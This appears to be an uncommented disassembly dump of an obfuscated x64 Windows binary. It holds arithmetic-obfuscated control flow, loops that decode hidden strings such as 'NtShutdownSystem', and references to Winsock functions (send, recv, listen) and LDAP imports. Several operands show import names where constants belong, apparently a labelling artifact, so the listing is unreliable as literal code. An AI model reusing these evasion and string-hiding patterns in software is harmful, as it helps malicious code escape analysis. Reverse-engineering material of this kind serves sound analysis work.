sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x63
jmp 0x14010c405
lea edx, [r11 + 0x78]
movzx eax, r10b
and al, dl
sub dl, 0x48
jmp 0x14010cccc
add r11b, 0x2c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x34
dec rbx
inc rbx
jmp 0x14010c3f2
lea edx, [r11 - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14010cd39
add r11b, 0x3a
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010cd73
lea edx, [r11 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xc
jmp 0x14010cdac
sub r11b, 0x12
movzx eax, r10b
and al, r11b
mov ecx, 0x3f
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010cdd6
add r11b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c3f2
lea edx, [r11 + 3]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x15
add dl, cl
cmp r9, 0x200
jb 0x14010cc26
lea edx, [r11 + 0x12]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x14010ccd6
lea edx, [r11 + 0x5d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x75
add dl, cl
cmp r8, 5
jae 0x14010cc32
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14010cb19
lea edx, [r11 - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1a
jmp 0x14010c778
lea edx, [r11 - 0x49]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
dec dl
add dl, cl
lea rax, [r8 + r9]
cmp rax, 2
je 0x14010cc4f
lea rcx, [r9 + 4]
cmp r8, rcx
jbe 0x14010ca2e
lea edx, [r11 - 0x39]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x71
jmp 0x14010c7bc
sub r11b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c3f2
add r11b, 0x34
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x6c
add dl, r11b
jmp 0x14010cdd6
lea edx, [r11 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14010cdac
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
jmp 0x14010cd73
lea edx, [r11 - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x44
jmp 0x14010cd39
sub r11b, 0xa
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14010c3f2
add r11b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
inc r9
dec rbx
inc rbx
jmp 0x14010c3f2
lea edx, [r11 - 0x56]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14010ccd4
lea rax, [r9 + 3]
cmp r8, rax
jae 0x14010c95d
lea edx, [r11 + 0x53]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x45
jmp 0x14010c803
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14010c990
sub r11b, 0x62
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x52
movzx eax, byte [rbp + rbx + 0x18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c3f2
cmp r8, rax
jne 0x14010c9af
lea edx, [r11 - 0x16]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x66
jmp 0x14010cdac
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14010c9d8
sub r11b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010cd73
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010c9fb
lea edx, [r11 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 4
jmp 0x14010cd39
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010c805
sub r11b, 0x7e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14010c3f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010ca49
lea edx, [r11 + 0x6d]
movzx eax, r10b
and al, dl
add dl, 5
jmp 0x14010cccc
inc rax
cmp r8, rax
jne 0x14010ca76
add r11b, 0x13
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x7b
inc r9
dec rbx
inc rbx
jmp 0x14010c3f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010ca9e
add r11b, 5
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x23
add r8, r9
jmp 0x14010cd73
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14010cac3
sub r11b, 0x55
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x53
jmp 0x14010cd73
cmp r8, rcx
jne 0x14010cae2
lea edx, [r11 + 0x51]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x37
jmp 0x14010cdac
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010c7be
sub r11b, 0x63
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4b
movzx eax, byte [rbp + rbx + 0x18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c3f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010cb50
add r11b, 0x3c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c3f2
inc rax
cmp r8, rax
jne 0x14010cb76
sub r11b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x2e
add dl, r11b
jmp 0x14010cdd6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010cba2
sub r11b, 0x2c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x14010cd73
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010cbc5
lea edx, [r11 + 0x7a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x56
jmp 0x14010cd39
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010cbf4
add r11b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14010c3f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010c77a
sub r11b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6a
inc r9
dec rbx
inc rbx
jmp 0x14010c3f2
mov byte [rbp + rbx + 0x18], dl
inc rbx
jmp 0x14010c3f2
lea edx, [r11 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, r10b
sub dl, 8
jmp 0x14010cd39
lea edx, [r11 + 0x5e]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
jmp 0x14010cdac
lea edx, [r11 + 0x59]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x6f
jmp 0x14010cdac
sub r11b, 0x4d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x1b
jmp 0x14010cd73
sub r11b, 0x3f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x47
dec rbx
inc rbx
jmp 0x14010c3f2
lea edx, [r11 + 0x75]
movzx eax, r10b
and al, dl
sub dl, 0x33
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
add r11b, 0x65
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x3d
add r10b, r11b
mov byte [rbp + rbx + 0x18], r10b
inc r9
dec rbx
inc rbx
jmp 0x14010c3f2
lea ecx, [rbx - 0x23]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0xb
dec rbx
inc rbx
jmp 0x14010c3f2
movzx r11d, bl
lea edx, [r11 + 0x37]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x7f
add dl, cl
add r11b, 0xb
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x4d
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x18], r10b
add r8, r9
jmp 0x14010cd73
lea rax, [rbx + r13]
and dil, al
add dil, dil
sub r10b, dil
lea edx, [rax + r10]
sub dl, 0x6d
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14010c3f2
movabs rcx, 0x7bf5b6f5414c7145
add rcx, rbx
and dil, cl
add dil, dil
movzx edx, r10b
sub dl, dil
add dl, 0x1d
movzx r11d, bl
add dl, cl
sub r11b, 0x4f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x29
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rbx + 0x18], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x1c
add cl, r10b
mov byte [rbp + rbx + 0x18], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c3f2
movabs rax, 0xa2d7054489b30bf9
add rax, rbx
and dil, al
add dil, dil
sub r10b, dil
lea edx, [rax + r10]
add dl, 0x31
movzx eax, byte [rbp + rbx + 0x18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c3f2
add r11b, 0x1f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x27
jmp 0x14010c3f0
add r11b, 0x79
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4f
jmp 0x14010c3e0
lea rdx, [rbp + 0x14403dc]
jmp 0x14010ce8e
lea rdx, [rbp + 0x12a5d2f]
jmp 0x14010ce8e
lea rdx, [rbp + 0x18]
movzx r9d, si
lea r8, str.NtShutdownSystem
mov rcx, qword [0x14022c178]
call fcn.140118df0
xor eax, eax
mov byte [rbp + 0x148], al
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x108]
call fcn.14011d020
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140045ce0
lea rcx, [rbp + 0x170]
call fcn.140044df0
mov rax, qword [rbp + 0x1a8]
mov edx, dword [rax + 0x50]
xor r8d, r8d
lea rcx, [rbp + 0x149]
call fcn.140051430
mov rsi, rax
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140045b60
mov rcx, qword [rbp + 0x1a8]
mov r9d, dword [rcx + 0x50]
mov r8, qword [rbp + 0x188]
mov rdx, rsi
lea rcx, [rbp + 0x149]
call fcn.140052bb0
mov rcx, qword [rbp + 0x1a8]
mov edx, dword [rcx + 0x28]
add rdx, rsi
mov r9d, dword [rcx + 0x50]
mov r8, rsi
lea rcx, [rbp + 0x149]
call fcn.14011d040
mov r14d, eax
mov dword [rsp + 0x70], 0x10b0332
mov dword [rsp + 0x74], 0x14681f11
mov dword [rsp + 0x78], 0xc1a191c
mov dword [rsp + 0x7c], 0x131b1762
mov dword [rbp - 0x80], 0xe016130d
mov dword [rbp - 0x7c], 0xaf98b7de
mov dword [rbp - 0x78], 0x8deca6f6
mov byte [rbp - 0x74], WSACleanup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x73], xmm0
mov dword [rbp - 0x63], eax
mov word [rbp - 0x5f], ax
movabs r13, 0xf02fab5d4de249ed
movzx ebx, byte [rbp + 0x148]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x14010da06
movzx r11d, byte [rsp + rdi + 0x70]
mov edx, r11d
cmp r8, rdi
ja 0x14010d9fd
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14010d000
lea rcx, [rdi + r13]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 0x7b
jmp 0x14010d047
je 0x14010d98e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010d907
lea rax, [rcx + 1]
cmp r8, rax
je 0x14010d8d4
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010d897
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010d878
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010d835
movzx r10d, dil
nop dword [rax + rax]
cmp r9, rdi
ja 0x14010d9f4
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x14010d07c
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x17
jmp 0x14010d0b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010d81e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010d804
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010d7e8
lea rax, [r9 + 7]
cmp r8, rax
je 0x14010d7ce
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14010d4b4
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14010d496
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14010d46d
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14010d447
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14010d429
lea rax, [r9 + 9]
cmp r8, rax
je 0x14010d409
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010d3db
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14010d0c0
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14010d9d8
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14010d9bc
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14010d226
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14010d20c
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14010d1f2
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14010d391
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14010d34c
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14010d30b
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14010d2e1
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14010d2c1
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14010d2a3
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14010d283
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14010d260
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14010d242
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x10]
jmp 0x14010d0c0
lea ecx, [r10 - 0x51]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x37
jmp 0x14010d0b0
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x2d
jmp 0x14010d050
sub r10b, 5
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x23
jmp 0x14010cfd5
lea edx, [r10 - 6]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x14010d8b0
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
add r8, r9
jmp 0x14010d8ef
add r10b, 0x46
movzx eax, r11b
and al, r10b
mov ecx, listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x14010d8ef
lea edx, [r10 + 0x6c]
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x14010d927
sub r10b, 0x6e
movzx eax, r11b
and al, r10b
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x14010d950
sub r10b, 0x48
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 8
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010cfc2
lea edx, [r10 + 0x3d]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
add bl, 0x55
add bl, dl
cmp r9, 0x20
jb 0x14010d78a
lea edx, [r10 + 0x6e]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 4]
jmp 0x14010d84e
lea edx, [r10 + 0x63]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
add bl, 0x4b
add bl, dl
cmp r8, 0x61
jae 0x14010d796
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14010d6d5
lea edx, [r10 - 0x16]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x66
jmp 0x14010d320
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x41
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x14010d7b3
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14010d609
lea ecx, [r10 + 0x79]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4f
jmp 0x14010d363
sub r10b, 0x5a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010cfc2
sub r10b, 0x34
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14010d950
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14010d8b0
sub r10b, 0x76
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x14010cfc2
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x14010cfc2
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14010d84e
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14010d4da
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x7b
jmp 0x14010d3a6
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14010d50d
sub r10b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x2e
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010cfc2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010d530
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x1a
jmp 0x14010d927
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14010d555
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x10
jmp 0x14010d8ef
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010d57d
add r10b, 0x4a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 6
add r8, r9
jmp 0x14010d8ef
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010d5a4
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14010d8b0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010d5d3
sub r10b, 2
movzx eax, r10b
and al, r11b
mov ecx, 7
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x14010cfc2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14010d3a6
sub r10b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x14010cfc2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010d62c
lea ecx, [r10 + 0x53]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x45
jmp 0x14010d84e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010d654
sub r10b, 0x45
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1d
add r8, r9
jmp 0x14010d8ef
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010d679
sub r10b, 0x6b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x13
jmp 0x14010d8ef
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010d69e
lea edx, [r10 + 0x6f]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 9
add bl, dl
jmp 0x14010d927
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010d363
add r10b, 0x23
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0xb
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010cfc2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010d708
sub r10b, 0x3c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x5c
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010cfc2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010d72d
lea edx, [r10 + 0x78]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x48
add bl, dl
jmp 0x14010d927
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010d758
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x20
dec rdi
inc rdi
jmp 0x14010cfc2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010d322
sub r10b, 0x46
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x16
inc r9
dec rdi
inc rdi
jmp 0x14010cfc2
mov byte [rsp + rdi + 0x70], bl
inc rdi
jmp 0x14010cfc2
lea edx, [r10 + 0x48]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 4
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14010d8b0
lea edx, [r10 + 0x22]
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14010d927
lea ecx, [r10 + 0x67]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x2f
jmp 0x14010d927
sub r10b, 0x73
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x25
jmp 0x14010d8ef
lea ecx, [r10 - 0x27]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x11
jmp 0x14010d8b0
lea ecx, [r10 + 0x4b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0xd
jmp 0x14010d84e
movzx r10d, dil
lea ecx, [r10 - 0x69]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x21
add r10b, 0x5b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x7d
add r11b, r10b
mov byte [rsp + rdi + 0x70], r11b
inc r9
dec rdi
inc rdi
jmp 0x14010cfc2
lea ecx, [rdi - 0x1d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x35
dec rdi
inc rdi
jmp 0x14010cfc2
movzx r10d, dil
lea ecx, [r10 + 9]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x3f
add r10b, 0x35
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x73
add cl, r11b
add cl, r10b
mov byte [rsp + rdi + 0x70], cl
add r8, r9
jmp 0x14010d8ef
movabs rax, 0x71ad0647bcf49955
add rax, rdi
and dl, al
add dl, dl
sub r11b, dl
lea ebx, [rax + r11]
sub bl, 0x53
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14010cfc2
movabs rcx, 0x914daf8d2130057b
add rcx, rdi
and dl, cl
add dl, dl
movzx ebx, r11b
sub bl, dl
sub bl, 0x5d
add bl, cl
movzx r10d, dil
add r10b, 0xf
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x69
add cl, r10b
movzx eax, cl
mov byte [rsp + rdi + 0x70], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 4]
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rsp + rdi + 0x70], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010cfc2
movabs rax, 0xd08f0217e9a6ddc7
add rax, rdi
and dl, al
add dl, dl
sub r11b, dl
lea ebx, [rax + r11]
sub bl, 0x71
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010cfc2
add r10b, 0x21
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x19
jmp 0x14010cfc0
add r10b, 0x47
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0xf
jmp 0x14010cfb0
lea rdx, [rbp + 0x149aaac]
jmp 0x14010da0b
lea rdx, [rbp + 0x16bf499]
jmp 0x14010da0b
lea rdx, [rsp + 0x70]
mov r8d, r14d
mov rcx, qword [0x14022c178]
call fcn.14011d100
mov rax, qword [rbp + 0x1a8]
mov r8d, dword [rax + 0x54]
mov rdx, rsi
lea rcx, [rbp + 0x149]
call fcn.140054230
call fcn.1401090c0
test al, al
jne 0x14010e2e7
mov dword [rsp + 0x20], 0x61636f75
mov dword [rsp + 0x24], 0x73266068
mov dword [rsp + 0x28], 0x657f2967
mov dword [rsp + 0x2c], 0x6b6f6260
